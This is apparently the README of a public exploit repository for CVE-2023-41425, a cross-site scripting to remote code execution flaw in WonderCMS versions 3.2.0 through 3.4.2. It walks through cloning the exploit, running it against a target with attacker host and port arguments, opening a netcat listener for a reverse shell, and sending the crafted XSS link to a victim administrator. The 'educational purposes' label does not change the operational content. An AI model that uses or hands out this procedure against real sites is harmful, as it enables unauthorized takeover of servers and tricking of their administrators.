CVE-2023-41425-wonderCMS_RCE

Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component. For educational purposes only

Requires knowledge of loginURL, admin access or the ability to get the admin to click the XSS link.

1. Clone the repo

git clone https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE.git

2. Run it

usage: CVE-2023-41425.py [-h] -rhost RHOST -lhost LHOST -lport LPORT -sport SPORT
python3 CVE-2023-41425.py -rhost http://example.com/loginURL -lhost 10.10.14.7 -lport 9001 -sport 8000

3. Set up a local listener

nc -lnvp 9001

4. Send the printed xss URL to the victim or if you have admin access click it
5. Wait for a callback

Credit

prodigiousMind for discovering and reporting the vulnerability